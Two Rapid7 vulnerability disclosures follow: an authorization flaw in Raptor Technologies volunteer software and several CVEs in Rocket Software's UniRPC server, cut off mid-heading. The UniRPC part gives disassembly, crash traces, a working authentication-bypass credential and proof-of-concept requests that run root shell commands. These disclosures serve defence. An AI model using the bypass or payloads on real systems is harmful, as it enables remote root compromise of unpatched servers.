Prior to Mar 18, 2023, due to a reliance on client-side controls, authorized users of Raptor Technologies Volunteer Management SaaS products could effectively enumerate authorized users, and could modify restricted and unrestricted fields in the accounts of other users associated with the same Raptor Technologies customer.  

Product description

Raptor Technologies Volunteer Management for Schools product is used by school districts to authenticate pre-approved volunteers, and print badges for the volunteers to use for entry to the school.  

Each volunteer has an account in the Raptor Technologies system, and the account contains information about the volunteer, a photo which matches the volunteer’s photo ID,  details of what buildings access is allowed to, and for what activities.  This account is set up and populated by school officials after a potential volunteer submits an online application for access.

Credit

This issue was discovered by Tony Porterfield, Principal Cloud Solutions Architect at Rapid7, while using the application as an end-user.  It is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Exploitation

Prior to the fix deployed by Raptor Technologies on March 18, 2023,  lack of server-side authorization checks allowed an authenticated user to edit restricted fields in the user’s own account and other users’ accounts.  There are client-side controls in place to prevent these accesses, but there were gaps in the server-side checking that allowed crafted API requests to make these changes to user records.

There is a PersonID field in the profile update request payload, and it was possible to modify another user’s account by using a PersonID field that did not match that of the authenticated user.   The PersonID is observed to be a relatively short decimal number that may have been prone to enumeration.  The Community feature provides a list of all users with access to the same schools who have agreed to have their contact information shared.  The user list returned by the server contains the PersonID for each user listed, which would have allowed an adversary to make targeted changes to specific user accounts within the community.  

An example of a user’s profile page is shown below. The areas highlighted in yellow contain identity and access information sourced from the application submitted by the user. Controls in the browser client prevent a user from editing these fields when updating the profile.

Raptor Technologies Volunteer Management Client-Side Security Controls (FIXED)

When the Save button is clicked, a POST to
apps.raptortech.com/Portal/Profile/Save

Is initiated, with a payload of content type:
Content-Type: application/x-www-form-urlencoded

The payload includes all of the fields visible on the page (along with some that are not). The fields in this POST request’s payload are listed below, with personal information redacted.

Person.ImageName=<redacted>&
Person.PersonId=<redacted>&
Person.PersonaType=<redacted>&
Person.RequireDateOfBirth=True&
Person.RequireIdNumber=False&
Person.IdNumber_Short=<redacted>&
Scope=Client&
Person.IsOfficial=True&
Person.FirstName=<redacted>
Person.MiddleName=<redacted>&
Person.LastName=<redacted>&
Person.DateOfBirth=<redacted>&
Person.IdType=<redacted>DLID
&Person.IdNumber=<redacted>&
MaidenName=&
Gender=Male
Race=Unspecified&
ExpirationDate=<redacted>&
HoursResetDate=<redacted>&
ModifyBuildingsEnabled=False&
Email=<redacted>&
Buildings[0]=<redacted>
Functions[0]=<redacted>&
AffiliationId=<redacted>&
ProfileId=<redacted>&
Person.RequireIdType=False&
Address.Id=<redacted>
&Address.IsRequired=False&
Address.IsInternationalCountry=False&
Address.IsRequiredAndIsNotInternationalCountry=False&
Address.Line1=<redacted>&
Address.Line2=&
Address.Line3=&
Address.City=<redacted>&
Address.State=<redacted>&
Address.ZipCode=<redacted>&
Address.Country=US&
PrimaryPhone=<redacted>&
SecondPhone=&
ThirdPhone=&
PreferredLanguage=0

Impact

Updating Restricted Fields: Fields that the client prevents from modifying could be changed in the apps.raptortech.com/Portal/Profile/Save body, with the results persisting in the user’s profile. Thus, it was possible to modify restricted fields related to the user’s identity by manipulating this request’s payload.

Updating other users’ information: The payload of the Portal/Profile/Save request includes a field for the Person.PersonID. It was possible to modify the profile of another user associated with the same Raptor Technologies customer by entering the other user’s Person.PersonID in the payload of the request.

Community feature discloses PersonIDs: The ‘Community’ feature presents a list of other members of the user’s community, who have opted in to sharing their information. The browser interface only displays the users’ names and contact information. However, the list of information returned by the server for the
apps.raptortech.com/Portal/Community/gvVolunteerContactInformation_Read
endpoint includes each community member’s PersonID. Prior to the fix, this information disclosure could be combined with the lack of server-side authorization checks to make targeted changes to the accounts of other community members.

The fields included for each user in the response are listed below for reference:

{
    "$id": "2",
    "PersonId": <6 or 7 digits>,
    "ProfileId": <5 digits>,
    "FirstName": "<redacted>",
    "LastName": "<redacted>",
    "PrimaryPhone": "<redacted>",
    "SecondPhone": "",
    "Email": "<redacted>",
    "AllowToContact": true,
    "PreventFromBeingContacted": false,
    "PrimaryPhoneDisplay": "<redacted>",
    "SecondPhoneDisplay": ""
}

Remediation

On March 18, 2023, Raptor Technologies deployed an update to its Volunteer Management application to address this issue.

Since this is a SaaS / cloud-hosted solution, end users, implementers and integrators should not need to do anything to update or patch to address the issue.

Disclosure Timeline

January, 2023: Issues discovered by Tony Porterfield of Rapid7
Tue, Jan 10, 2023: First contact to the vendor, opened ticket #00711217
Mon, Jan 30, 2023: Case opened with CERT/CC, VRF#23-01-NGZBZ
Fri, Feb 17, 2023: CERT/CC VINCE case VU#679276 opened
Fri, Mar 3, 2023: Report acknowledged by the vendor, clarifications provided
Wed, Mar 8, 2023: Details discussed with the vendor, extended disclosure time by approximately 30 days
Sat, Mar 18, 2023: Fixes deployed
Tue, Apr 11, 2023: This disclosure

Multiple Vulnerabilities in Rocket Software UniRPC server (Fixed)

Post Syndicated from Ron Bowes original https://blog.rapid7.com/2023/03/29/multiple-vulnerabilities-in-rocket-software-unirpc-server-fixed/

Multiple Vulnerabilities in Rocket Software UniRPC server (Fixed)

In early 2023, Rapid7 discovered several vulnerabilities in Rocket Software‘s UniData and UniVerse UniRPC server (and related services) running on the Linux platform. Rapid7 worked with Rocket Software to fix the issues and coordinate this disclosure.

This disclosure will detail a number of different vulnerabilities, including:

  • CVE-2023-28501: Pre-authentication heap buffer overflow in unirpcd service
  • CVE-2023-28502: Pre-authentication stack buffer overflow in udadmin_server service
  • CVE-2023-28503: Authentication bypass in libunidata.so‘s do_log_on_user() function
  • CVE-2023-28504: Pre-authentication stack buffer overflow in libunidata.so‘s U_rep_rpc_server_submain()
  • CVE-2023-28505: Post-authentication buffer overflow in libunidata.so‘s U_get_string_value() function
  • CVE-2023-28506: Post-authentication stack buffer overflow in udapi_slave executable
  • CVE-2023-28507: Pre-authentication memory exhaustion in LZ4 decompression in unirpcd service
  • CVE-2023-28508: Post-authentication heap overflow in udsub service
  • CVE-2023-28509: Weak encryption

Note that all of the post-authentication vulnerabilities are exploitable without authenticating due to the authentication bypass documented as CVE-2023-28503, which means all of these are effectively pre-authentication until CVE-2023-28503 is remediated.

Rapid7 initially reported these vulnerabilities to Rocket Software on January 24, 2023. Since then, members of our research team have worked with the vendor to discuss impact, resolution, and a coordinated response.

Patches are available to Rocket Software customers, and should be installed as quickly as possible. Rocket Software strongly advises their UniData and UniVerse customers to upgrade to hotfix version 8.2.4.3003, available on Rocket Business Connect.

Product description

We discovered these vulnerabilities while testing UniData for Linux version 8.2.4 (build 3001). The RPC server and some of these services are shared by the UniVerse software stack as well. The vendor confirmed that the following versions are affected:

  • UniData 8.2.4 (and earlier) – patched in 8.2.4 build 3003
  • UniVerse 11.3.5 (and earlier) – patched in 11.3.5 build 1001
  • UniVerse 12.2.1 (and earlier) – patched in 12.2.1 build 2002

We verified that these issues do not affect the Windows version, as the networking stack appears to be different.

Impact

Due to the nature of the applications, we believe that widespread exploitation of these issues is unlikely; these services tend to be found on the back end, and are rarely internet-facing. That being said, the software stack is commonly used by large organizations to store and manage data, so it’s possible that these vulnerabilities will be exploited by attackers who have already gained unauthorized access to an organization’s network in another way.

Credit

These vulnerabilities were discovered and documented by Ron Bowes, Lead Security Researcher at Rapid7. They are being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Vendor statement

Rocket Software is committed to security, and we collaborate with valued researchers, such as Rapid7, to respond to and resolve vulnerabilities on behalf of our customers.

Exploitation

We tested the UniRPC network service, which is installed as part of the UniData software package. UniRPC typically listens on TCP port 31438, and runs as root. We tested everything with a default installation (i.e., no special configuration). We created a library called libneptune that implements the protocol, and includes a proof of concept for each issue below. Most proofs of concept will crash the service while reading or executing an illegal memory address, but we created two full Metasploit modules as well, so organizations can more easily evaluate their own risk.

A note on testing

We made a small change to unirpcd for testing, which disables the fork call, which means it only handles a single connection then terminates. That makes debugging much easier, since you don’t have to deal with multiple forked processes. We called it unirpcd-oneshot, and will use it for most of our examples. The changes are only a couple bytes, which you can change with a hex editor:

[ron@unidata bin]$ diff -ru0 <(hexdump -C unirpcd) <(hexdump -C unirpcd-oneshot)
--- unirpcd	2023-01-17 13:09:45.511592523 -0500
+++ unirpcd-oneshot	2023-01-17 13:09:45.511592523 -0500
@@ -1075 +1075 @@
-00004320  ec ff ff e8 f8 eb ff ff  83 f8 ff 41 89 c6 0f 84  |...........A....|
+00004320  ec ff ff 48 31 c0 90 90  83 f8 ff 41 89 c6 0f 84  |...H1......A....|

Note that this doesn’t change how the exploits work at all, it only simplifies testing and demonstration (by not spawning new processes for each connection).

UniRPC Server overview

When UniData is installed, it comes with a service called unirpcd, which is an RPC daemon. The RPC daemon accepts connections, forks new processes, and processes messages sent by the client using a custom binary protocol that we implemented as part of libneptune.

After connecting, a client sends a message to UniRPC that selects which back-end service to execute. The list of available services will probably vary by the application package (we only tested UniData), but they are listed in a file called unirpcservices. The unirpcservices file lists the service names and executables and has options for IP restrictions, protocols, timeouts, and other details:

# cat ~/unidata/unishared/unirpc/unirpcservices 
udcs /home/ron/unidata/unidata/bin/udapi_server * TCP/IP 0 3600
defcs /home/ron/unidata/unidata/bin/udapi_server * TCP/IP 0 3600
udadmin /home/ron/unidata/unidata/bin/udadmin_server * TCP/IP 0 3600
udadmin82 /home/ron/unidata/unidata/bin/udadmin_server * TCP/IP 0 3600
udserver /home/ron/unidata/unidata/bin/udsrvd * TCP/IP 0 3600
unirep82 /home/ron/unidata/unidata/bin/udsub * TCP/IP 0 3600
rmconn82 /home/ron/unidata/unidata/bin/repconn * TCP/IP 0 3600
uddaps /home/ron/unidata/unidata/bin/udapi_server * TCP/IP 0 3600

We tested each of those services, as well as the unirpcd daemon itself. A library — libunidata.so — is shared by all the services. Our results are detailed below.

CVE-2023-28501: Pre-authentication heap buffer overflow in unirpcd‘s packet receive

We discovered a pre-authentication heap overflow issue due to an integer overflow in the UniRPC daemon itself (unirpcd) when receiving the body of an RPC packet in the uvrpc_read_message() function. Successful exploitation can corrupt the heap’s data and metadata, and is likely to lead to remote code execution as the root user. Because this is in the RPC daemon itself, it can affect any software package that includes this version of the daemon, irrespective of which RPC services are included.

We wrote a proof of concept to demonstrate this issue in unirpc_heapoverflow_read_body.rb. For the purposes of demonstration, we trick the server into attempting to read from the memory address 0x4141414141414141, which crashes the process. Here is how we ran unirpcd-oneshot in gdb:

[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9
[...]

(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
RPCPID=4039 - 13:12:07 - uvrpc_debugflag=9 (Debugging level)
RPCPID=4039 - 13:12:07 - portno=12345
RPCPID=4039 - 13:12:07 - res->ai_family=10, ai_socktype=1, ai_protocol=6

Then we run the proof-of-concept tool in another window, and see the following in the debugger:

RPCPID=4039 - 13:13:45 - Accepted socket is from (IP number) '::ffff:10.0.0.179'
RPCPID=4039 - 13:13:45 - accept: forking
RPCPID=4039 - 13:13:45 - in accept read_packet returns 13c6a
Program received signal SIGSEGV, Segmentation fault.
_dl_fini () at dl-fini.c:194
194		if (l == l->l_real)

Here’s the stack trace, which shows that it crashes in __run_exit_handlers():

(gdb) bt
#0  _dl_fini () at dl-fini.c:194
#1  0x00007ffff5c2ece9 in __run_exit_handlers (status=1, listp=0x7ffff5fbc6c8 <__exit_funcs>, run_list_atexit=run_list_atexit@entry=true) at exit.c:77
#2  0x00007ffff5c2ed37 in __GI_exit (status=<optimized out>) at exit.c:99
#3  0x0000000000404479 in accept_connection ()
#4  0x0000000000403bd9 in main ()

We can verify that it crashes while trying to read the memory address 0x4141414141414141 by checking the instruction it crashed on:

(gdb) x/i $rip
=> 0x7ffff7deafc9 <_dl_fini+313>:	cmp    QWORD PTR [rcx+0x28],rcx

(gdb) print/x $rcx
$1 = 0x4141414141414141

To understand this issue, we have to look at the UniRPC packet header fields (we don’t have the official names of this structure, so these are our best guesses):

  • (1 byte) version byte (always 0x6c)
  • (1 byte) other version byte (always 0x01 or 0x02)
  • (1 byte) reserved / ignored
  • (1 byte) reserved / ignored
  • (4 bytes) body length
  • (4 bytes) reserved / ignored
  • (1 byte) encryption_mode
  • (1 byte) is_compressed
  • (1 byte) is_encrypted
  • (1 byte) reserved / ignored
  • (4 bytes) reserved / must be 0
  • (2 bytes) argcount
  • (2 bytes) data length

The body length argument is a 32-bit signed integer, and must be positive (ie, 0x7FFFFFFF and below). The following code from unirpcd enforces that length restriction:

.text:0000000000407580 41 8B 47 04         mov     eax, [r15+4]    ; Read the 32-bit "size" field from the header into eax
.text:0000000000407584 89 C7               mov     edi, eax
.text:0000000000407586 89 44 24 08         mov     dword ptr [rsp+88h+len], eax ; Save the length to the stack
.text:000000000040758A B8 70 3C 01 00      mov     eax, UNIRPC_ERROR_BAD_RPC_PARAMETER
.text:000000000040758F 85 FF               test    edi, edi
.text:0000000000407591 0F 8E B0 FE FF FF   jle     return_eax      ; Fail if the length is negative

In that code, the body length is read into the eax register, then validated to ensure it’s not negative — the jle opcode jumps if it’s less than or equal to zero. If it’s negative, it returns the error that we called UNIRPC_ERROR_BAD_RPC_PARAMETER.

A bit later, the following code executes:

.text:000000000040761A 8B 44 24 08         mov     eax, dword ptr [rsp+88h+len] ; Read the 'size' back into eax
.text:000000000040761E 83 C0 17            add     eax, 17h        ; Add 0x17 (23) to the length - this can overflow and go negative!
.text:0000000000407621 3B 05 35 27 24 00   cmp     eax, cs:uvrpc_readbufsiz ; Compare to the size of uvrpc_readbufsiz (0x2018 by default)
.text:0000000000407627 0F 8D 3F 02 00 00   jge     expand_read_buf_size ; Jump if we need to expand the buffer

In that snippet, the server adds 0x17 (23) to the length value from earlier and compares it against the global variable uvrpc_readbufsiz, which is 0x2018 (8216) by default. If the length is less than 0x2018, no additional memory is allocated for the buffer. If we chose a very large (but positive) value such as 0x7FFFFFFF, adding 0x17 to it will overflow the integer and the resulting value (0x80000016) is negative (in two’s complement, 32-bit values from 0x80000000 to 0xFFFFFFFF are negative). Because a negative value is technically below 0x2018, no additional memory is allocated and the 0x2018-byte buffer is used as-is.

Finally, this code runs to receive the body of the RPC message:

.text:0000000000407631 44 8B 74 24 08     mov     r14d, dword ptr [rsp+88h+len] ; Read the length from the stack
[...]
.text:000000000040768F 44 89 F1           mov     ecx, r14d       ; max_length = len
.text:0000000000407692 E8 09 E6 FF FF     call    uvrpc_readn     ; Receive up to `max_length`

If we put a breakpoint on recv and execute the proof of concept, we can see the recv function trying to receive way too much data into a buffer:

[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9

(gdb) b recv
Breakpoint 1 at 0x402a40

(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
RPCPID=78590 - 18:19:56 - uvrpc_debugflag=9 (Debugging level)
RPCPID=78590 - 18:19:56 - portno=12345
RPCPID=78590 - 18:19:56 - res->ai_family=10, ai_socktype=1, ai_protocol=6

[... run the proof-of-concept script here ...]

RPCPID=78590 - 18:19:58 - Accepted socket is from (IP number) '::ffff:10.0.0.179'
RPCPID=78590 - 18:19:58 - accept: forking

Breakpoint 1, __libc_recv (fd=8, buf=0x67d330, n=8216, flags=0) at ../sysdeps/unix/sysv/linux/x86_64/recv.c:28
28	 if (SINGLE_THREAD_P)
(gdb) cont
Continuing.

Breakpoint 1, __libc_recv (fd=8, buf=0x67f348, n=2147475455, flags=0) at ../sysdeps/unix/sysv/linux/x86_64/recv.c:28
28	 if (SINGLE_THREAD_P)
(gdb) cont

The n argument to __libc_recv is the important part of that snippet. The first time, it tries to receive up to 8216 bytes (that’s 0x2018 — the default buffer size). The second time, it attempts to read 2,147,475,455 (0x7FFFDFFF) bytes into a much smaller buffer. recv() will read as much data from the socket as it can, then return; that means that we can overflow the heap buffer exactly as much as we want to, there’s no need to send all 0x7FFFDFFF bytes.

This can overwrite other values on the heap, as well as heap metadata, which might lead to remote code execution. While our proof of concept stops short of remote code execution, we believe that this is very likely to be exploitable.

CVE-2023-28502: Pre-authentication stack buffer overflow in udadmin_server (username and password fields)

We discovered a pair of pre-authentication stack-based buffer overflows in the udadmin_server RPC service (accessed via the service name udadmin or udadmin82), which is exploitable to obtain unauthenticated remote code execution as the root user.

When a user connects to the udadmin_server service, they are required to send a message with up to three arguments:

  • An opcode (integer) of 0x0F (15)
  • A username (string)
  • An encoded password (string)

After receiving that message and validating that the opcode is correct, the service copies the username into a buffer using a strcpy-like function with no bounds checks (u2strcpy), then copies the password into another buffer using the same dangerous function. The password is then decoded using a function called rpcDecrypt().

Based on the compiled executable, the vulnerable code appears to be in the main function in the source file udadmin.c on lines 803 and 805. Here’s the code where the username is copied into a stack buffer:

.text:0000000000408AAC BF 01 00 00 00   mov     edi, 1          ; Argument index (1 = second argument = username)
.text:0000000000408AB1 E8 AA 41 00 00   call    getStringVal    ; Gets a pointer to the string value
.text:0000000000408AB6 48 85 C0         test    rax, rax
.text:0000000000408AB9 49 89 C4         mov     r12, rax        ; <-- r12 = username

[...]

.text:0000000000409098 4C 8D AC 24 30+  lea     r13, [rsp+428h+var_2F8] ; r13 = ptr to stack buffer
.text:0000000000409098 01 00 00
.text:00000000004090A0 48 8D 15 D0 75+  lea     rdx, udadmin_c  ; filename = "udadmin.c"
.text:00000000004090A0 02 00
.text:00000000004090A7 B9 23 03 00 00   mov     ecx, 323h       ; line = 803
.text:00000000004090AC 4C 89 E6         mov     rsi, r12        ; src = username
.text:00000000004090AF 4C 89 EF         mov     rdi, r13        ; dest = r13 = stack buffer
.text:00000000004090B2 E8 39 F1 FF FF   call    _u2strcpy       ; Stack overflow #1

That’s shortly followed by this code, where the password is copied into a stack buffer:

.text:00000000004090E0 BF 02 00 00 00   mov     edi, 2          ; Argument index (2 = second argument = password)

[...]

.text:00000000004090E7 4C 8D A4 24 70+  lea     r12, [rsp+428h+var_2B8] ; r12 = ptr stack buffer
.text:00000000004090E7 01 00 00
.text:00000000004090EF E8 6C 3B 00 00   call    getStringVal    ; Read the password

.text:00000000004090F4 48 8D 15 7C 75+  lea     rdx, udadmin_c  ; filename = "udadmin.c"
.text:00000000004090F4 02 00
.text:00000000004090FB B9 25 03 00 00   mov     ecx, 325h       ; line = 805
.text:0000000000409100 48 89 C6         mov     rsi, rax        ; src = password
.text:0000000000409103 4C 89 E7         mov     rdi, r12        ; dest = r12 = stack buffer
.text:0000000000409106 E8 E5 F0 FF FF   call    _u2strcpy       ; <-- Stack overflow #2

The password has an additional twist, because it’s encoded; the rpcEncrypt function decodes it:

.text:0000000000408B37 4C 89 E7         mov     rdi, r12        ; rdi = password
.text:0000000000408B3A E8 F1 41 00 00   call    rpcEncrypt      ; "Decode" the password by inverting bytes

Functionally, rpcEncrypt negates every byte in the password (binary 0 bits become 1, and 1 bits become 0).

Typically, strcpy()-based overflows are more difficult to exploit, because NUL (\0) bytes terminate strings. That means that including a 64-bit memory address or a ROP chain will fail, because all user-mode addresses are guaranteed to contain NUL bytes, which truncate the resulting string. However, because all bytes in the password string are negated after the strcpy() (using the rpcEncrypt() function), we CAN include NUL bytes. This behavior actually makes it much easier to exploit than it’d otherwise be, since now we only have to avoid bytes that are NUL bytes after negation (ie, 0xFF bytes).

We wrote a proof of concept for this issue that will execute an arbitrary shell command by returning into code that calls the system() function. For example, we can run a shell command that creates a file:

$ ruby ./udadmin_stackoverflow_password.rb 10.0.0.198 31438 'kill -TERM $PPID & touch /tmp/stackoverflowtest'
Connecting to 'udadmin' service:
Request:
{:args=>[{:type=>:string, :value=>"udadmin"}, {:type=>:integer, :value=>1337}]}

Response:
{:header=>
  "l\x01\x00\x00\x00\x00\x00\f\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00",
 :version_byte=>108,
 :other_version_byte=>1,
 :body_length=>12,
 :encryption_key=>2,
 :claim_compression=>0,
 :claim_encryption=>0,
 :argcount=>1,
 :data_length=>0,
 :args=>[{:type=>:integer, :value=>0, :extra=>1}]}

Request:
{:args=>
  [{:type=>:integer, :value=>15},
   {:type=>:string, :value=>"test"},
   {:type=>:string,
    :value=>
     "\xBE\xBE[......]\xBE\xBE\xDA\xD1\xBE\xFF\xFF\xFF\xFF\xFF\x94\x96\x93\x93\xDF\xD2\xAB\xBA\xAD\xB2\xDF\xDB\xAF\xAF\xB6\xBB\xDF\xD9\xDF\x8B\x90\x8A\x9C\x97\xDF\xD0\x8B\x92\x8F\xD0\x8C\x8B\x9E\x9C\x94\x90\x89\x9A\x8D\x99\x93\x90\x88\x8B\x9A\x8C\x8B"}]}

Response:
{:header=>
  "l\x01\x00\x02\x00\x00\x00\f\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00",
 :version_byte=>108,
 :other_version_byte=>1,
 :body_length=>12,
 :encryption_key=>2,
 :claim_compression=>0,
 :claim_encryption=>0,
 :argcount=>1,
 :data_length=>0,
 :args=>[{:type=>:integer, :value=>80011, :extra=>4}]}

Payload sent

Then we can verify that the file exists on the target (and is owned by root) to prove that the exploit ran:

[ron@unidata ~]$ ls -l /tmp/stackoverflowtest 
-rw-r--r--. 1 root root 0 Jan 17 14:00 /tmp/stackoverflowtest

We also wrote a Metasploit module to help organizations validate the impact of this issue.

CVE-2023-28503: Authentication bypass in libunirpc.so‘s do_log_on_user() function

We discovered an authentication bypass in the do_log_on_user() function in libunidata.so that permits a user to authenticate as any Linux user on the target service using a hard-coded username (:local:) and a deterministic password. This affects most of the services that UniData ships, and leads directly to shell command execution via the udadmin service. Additionally, it allows us to exploit several post-authentication vulnerabilities (detailed below) that would otherwise require a valid account to access.

To demonstrate this vulnerability, we chose the udadmin_server executable (accessed via RPC as the udadmin or udadmin82 service), as it permits authenticated users to execute operating system commands as part of its intended functionality. When a user connects to the udadmin_server service, they are required to send a message with up to three arguments:

  • An opcode (integer) of 0x0F (15)
  • A username (string)
  • An encoded password (string)

After copying the username and password into stack-based buffers, the password is decoded (by negating each byte), then the username and password field are passed into the impersonate_user function, which is in libunidata.so:

.text:0000000000408B57 48 8D 94 24 00+    lea     rdx, [rsp+428h+var_328] ; arg3
.text:0000000000408B57 01 00 00
.text:0000000000408B5F 4C 89 E6           mov     rsi, r12        ; password
.text:0000000000408B62 B9 01 00 00 00     mov     ecx, 1          ; arg4
.text:0000000000408B67 4C 89 EF           mov     rdi, r13        ; username
.text:0000000000408B6A C7 84 24 00 01+    mov     [rsp+428h+var_328], 0
.text:0000000000408B6A 00 00 00 00 00+
.text:0000000000408B6A 00
.text:0000000000408B75 E8 86 F2 FF FF     call    _impersonate_user ; <-- Validate the credentials
.text:0000000000408B7A 85 C0              test    eax, eax
.text:0000000000408B7C 41 89 C4           mov     r12d, eax
.text:0000000000408B7F 74 45              jz      short impersonate_successful ; <-- Jump if successful
.text:0000000000408B81 48 8B 3B           mov     rdi, [rbx]      ; stream
.text:0000000000408B84 48 8D 35 E6 7B+    lea     rsi, aLogonuserErrco ; "LogonUser: errcode=%d\n"

The impersonate_user function in libunidata.so is a thin wrapper around do_log_on_user (also found in libunidata.so). At the start of do_log_on_user, it compares the username to the string literal :local:, and jumps to standard PAM-based login code if it’s not a match (note that memory addresses of libunidata.so probably will not match yours, since it’s compiled as position-independent code and we manually set a base address based on where our lab machine loads the code):

.text:00007FFFF7312970 ; __int64 __usercall do_log_on_user@<rax>(char *username@<rdi>, char *password@<rsi>, int, int)
[...]
.text:00007FFFF7312985    lea     rdi, aLocal_1   ; ":local:"
.text:00007FFFF731298C    push    rbx
.text:00007FFFF731298D    mov     rbx, rsi
.text:00007FFFF7312990    mov     rsi, rbp
.text:00007FFFF7312993    sub     rsp, 10h
.text:00007FFFF7312997    repe cmpsb              ; compare "username" to ":local:"
.text:00007FFFF7312999    jnz     short username_not_local ; Jump if they aren't equal

If the username is :local:, the do_log_on_user function splits the password into three fields, using : as a delimiter (which, it turns out, are a username, a Linux user id, and a Linux group id). If the password doesn’t contain two colons, the login attempt fails:

.text:00007FFFF731299B    mov     esi, 3Ah ; ':'  ; c
.text:00007FFFF73129A0    mov     rdi, rbx        ; s
.text:00007FFFF73129A3    call    _strchr         ; Find the first ':'
.text:00007FFFF73129A8    test    rax, rax
.text:00007FFFF73129AB    jz      short return_error ; Return an error if the password doesn't have : in it
.text:00007FFFF73129AD    lea     rbp, [rax+1]    ; rbp = part 2 of password
.text:00007FFFF73129B1    mov     byte ptr [rax], 0
.text:00007FFFF73129B4    mov     esi, 3Ah ; ':'  ; c
.text:00007FFFF73129B9    mov     rdi, rbp        ; s
.text:00007FFFF73129BC    call    _strchr         ; Find the second ':'
.text:00007FFFF73129C1    test    rax, rax
.text:00007FFFF73129C4    jz      short return_error ; Jump if there's no second colon

If the string correctly has three colon-separated fields, the following code executes:

.text:00007FFFF7312A50 loc_7FFFF7312A50:                       ; CODE XREF: do_log_on_user+60↑j
.text:00007FFFF7312A50    test    rbp, rbp        ; Check the second part of the password
.text:00007FFFF7312A53    jz      return_error
.text:00007FFFF7312A59    xor     esi, esi        ; endptr
.text:00007FFFF7312A5B    mov     rdi, rbp        ; nptr
.text:00007FFFF7312A5E    mov     edx, 0Ah        ; base
.text:00007FFFF7312A63    call    _strtol         ; Convert the second field to an integer
.text:00007FFFF7312A63                            ; (the return value isn't checked, so 0 works)

.text:00007FFFF7312A68    xor     esi, esi        ; endptr
.text:00007FFFF7312A6A    mov     [r12], eax
.text:00007FFFF7312A6E    mov     edx, 0Ah        ; base
.text:00007FFFF7312A73    mov     rdi, r13        ; nptr
.text:00007FFFF7312A76    call    _strtol         ; Convert the third field to an integer
.text:00007FFFF7312A7B    test    eax, eax
.text:00007FFFF7312A7D    mov     rbp, rax
.text:00007FFFF7312A80    jz      return_error    ; Return value cannot be 0

.text:00007FFFF7312A86    mov     rdi, rbx        ; name
.text:00007FFFF7312A89    call    _getpwnam       ; Get the uid for the first field
.text:00007FFFF7312A8E    test    rax, rax
.text:00007FFFF7312A91    jz      return_error    ; The user must exist

.text:00007FFFF7312A97    mov     esi, [r12]
.text:00007FFFF7312A9B    cmp     [rax+10h], esi  ; Compare the uid retrieved by `getpwnam()` with the second field
.text:00007FFFF7312A9E    jnz     return_error    ; Jump if it's not equal

.text:00007FFFF7312AA4    xor     r8d, r8d
.text:00007FFFF7312AA7    mov     ecx, 1
.text:00007FFFF7312AAC    mov     edx, ebp        ; group
.text:00007FFFF7312AAE    mov     rdi, rbx        ; s2
.text:00007FFFF7312AB1    call    _briefReinit    ; Success!

In that code, the library converts the second and third colon-separated fields into integer values. Then it passes the first field (a string) into the getpwnam function, which looks up the username as a local Linux user. If that succeeds, it ensures that second field (an integer) matches the user’s user id (uid) value, then simply ensures that the third field, which will be treated as a group id, is non-zero.

In other words, the three colon-separated fields in the password are:

  1. A local username (such as root)
  2. The corresponding user id (such as 0)
  3. Any value that’s not 0 (which will be used as a group id when privileges are dropped)

For example, we can use the username :local: with password ron:1000:123 to authenticate as ron on my host, since ron‘s user id is 1000 and 123 is not 0. Alternatively, the username :local: with password root:0:123 will work on most Linux targets, as root usually has a user id of 0 and 123 is still not 0.

Once that check passes, _briefReinit is called with our user id and group id values. We didn’t look into the _briefReinit function, but we observed that it drops the process’s privileges to the provided user id and group id values to the ones the user sent, then returns a success code to whatever service is attempting to authorize the user.

From here, we chose the udadmin service as an example target. If we successfully authenticate to udadmin, we can call any of dozens of different functions, each identified by a particular opcode. We chose opcode 6, because it’s called OSCommand, which, as the name implies, will run a Linux shell command of the user’s choosing:

.text:000000000040B7D4                handle_opcode_6:                        ; CODE XREF: main+780↑j
.text:000000000040B7D4 48 8B 3B                       mov     rdi, [rbx]      ; stream
.text:000000000040B7D7 48 8D 35 15 50+                lea     rsi, aOpcodeOpcodeDO ; "OpCode: opcode=%d(OSCommand)\n"
.text:000000000040B7D7 02 00
.text:000000000040B7DE BA 06 00 00 00                 mov     edx, 6
.text:000000000040B7E3 31 C0                          xor     eax, eax
.text:000000000040B7E5 E8 16 17 00 00                 call    logMsg
.text:000000000040B7EA BF 01 00 00 00                 mov     edi, 1          ; Get the second parameter
.text:000000000040B7EF 31 C0                          xor     eax, eax
.text:000000000040B7F1 E8 6A 14 00 00                 call    getStringVal    ; Gets the second parameter as a string
.text:000000000040B7F6 48 89 C7                       mov     rdi, rax        ; Argument fromt he user
.text:000000000040B7F9 E8 C2 B8 00 00                 call    UDA_OSCommand   ; Wrapper around "system"
.text:000000000040B7FE E9 07 D5 FF FF                 jmp     loc_408D0A

We wrote a proof of concept that uses this bypass to authenticate as root, then uses OSCommand to execute a chosen command. Like the last vulnerability, we can use it to create a file:

$ ruby ./udadmin_authbypass_oscommand.rb 10.0.0.198 31438 'touch /tmp/authbypassdemo'
Connecting to 'udadmin' service:
Request:
{:args=>[{:type=>:string, :value=>"udadmin"}, {:type=>:integer, :value=>1337}]}

Response:
[...]

Request:
{:args=>
  [{:type=>:integer, :value=>15},
   {:type=>:string, :value=>":local:"},
   {:type=>:string, :value=>"\x8D\x90\x90\x8B\xC5\xCF\xC5\xCE\xCD\xCC"}]}

Response:
[...]

Request:
{:args=>
  [{:type=>:integer, :value=>6},
   {:type=>:string, :value=>"touch /tmp/authbypassdemo"}]}

Response:
[...]

Then verify that the file is created (and owned by root), and therefore that the command executed:

[ron@unidata ~]$ ls -l /tmp/authbypassdemo 
-rw-r--r--. 1 root 123 0 Jan 17 15:58 /tmp/authbypassdemo

We also wrote a Metasploit module to help organizations better understand the risk of this issue.

CVE-2023-28504: Pre-authentication stack buffer overflow in libunirpc.so‘s U_rep_rpc_server_submain() function

